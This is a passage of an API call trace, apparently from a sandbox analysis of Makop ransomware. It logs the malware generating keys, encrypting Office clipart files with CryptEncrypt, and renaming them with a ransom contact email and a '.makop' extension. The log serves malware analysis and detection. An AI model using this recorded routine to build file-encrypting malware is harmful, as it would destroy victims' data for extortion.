Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.768] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.768] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.768] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.768] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.768] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.768] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.770] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.770] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf72, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf72, lpOverlapped=0x0) returned 1 [0153.770] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80, dwBufLen=0xf80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80) returned 1 [0153.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf80, lpOverlapped=0x0) returned 1 [0153.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.771] SetEndOfFile (hFile=0xf0) returned 1 [0153.777] GetProcessHeap () returned 0x48a0000 [0153.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.777] GetProcessHeap () returned 0x48a0000 [0153.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.777] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.779] CloseHandle (hObject=0xf0) returned 1 [0153.779] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1 [0153.779] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF") returned 63 [0153.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.781] GetProcessHeap () returned 0x48a0000 [0153.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.781] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0153.786] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.786] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.786] GetProcessHeap () returned 0x48a0000 [0153.786] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.786] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.787] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.787] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.787] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.787] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.788] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9d2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9d2, lpOverlapped=0x0) returned 1 [0153.788] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e0) returned 1 [0153.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.788] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9e0, lpOverlapped=0x0) returned 1 [0153.788] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.788] SetEndOfFile (hFile=0xf0) returned 1 [0153.795] GetProcessHeap () returned 0x48a0000 [0153.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.795] GetProcessHeap () returned 0x48a0000 [0153.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.795] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.796] CloseHandle (hObject=0xf0) returned 1 [0153.797] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1 [0153.797] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF") returned 63 [0153.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.798] GetProcessHeap () returned 0x48a0000 [0153.798] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.799] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0153.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.803] GetProcessHeap () returned 0x48a0000 [0153.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.803] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.805] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.805] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.805] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x236, lpOverlapped=0x0) returned 1 [0153.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x240, dwBufLen=0x240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x240) returned 1 [0153.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x240, lpOverlapped=0x0) returned 1 [0153.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.806] SetEndOfFile (hFile=0xf0) returned 1 [0153.812] GetProcessHeap () returned 0x48a0000 [0153.812] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.812] GetProcessHeap () returned 0x48a0000 [0153.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.815] CloseHandle (hObject=0xf0) returned 1 [0153.815] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1 [0153.815] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF") returned 63 [0153.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.816] GetProcessHeap () returned 0x48a0000 [0153.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.816] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0153.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.821] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.821] GetProcessHeap () returned 0x48a0000 [0153.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.821] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.821] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.821] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.822] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.822] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x66a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x66a, lpOverlapped=0x0) returned 1 [0153.822] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670, dwBufLen=0x670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670) returned 1 [0153.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x670, lpOverlapped=0x0) returned 1 [0153.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.823] SetEndOfFile (hFile=0xf0) returned 1 [0153.830] GetProcessHeap () returned 0x48a0000 [0153.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.830] GetProcessHeap () returned 0x48a0000 [0153.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.830] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.832] CloseHandle (hObject=0xf0) returned 1 [0153.832] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1 [0153.832] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF") returned 63 [0153.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.837] GetProcessHeap () returned 0x48a0000 [0153.837] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.837] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 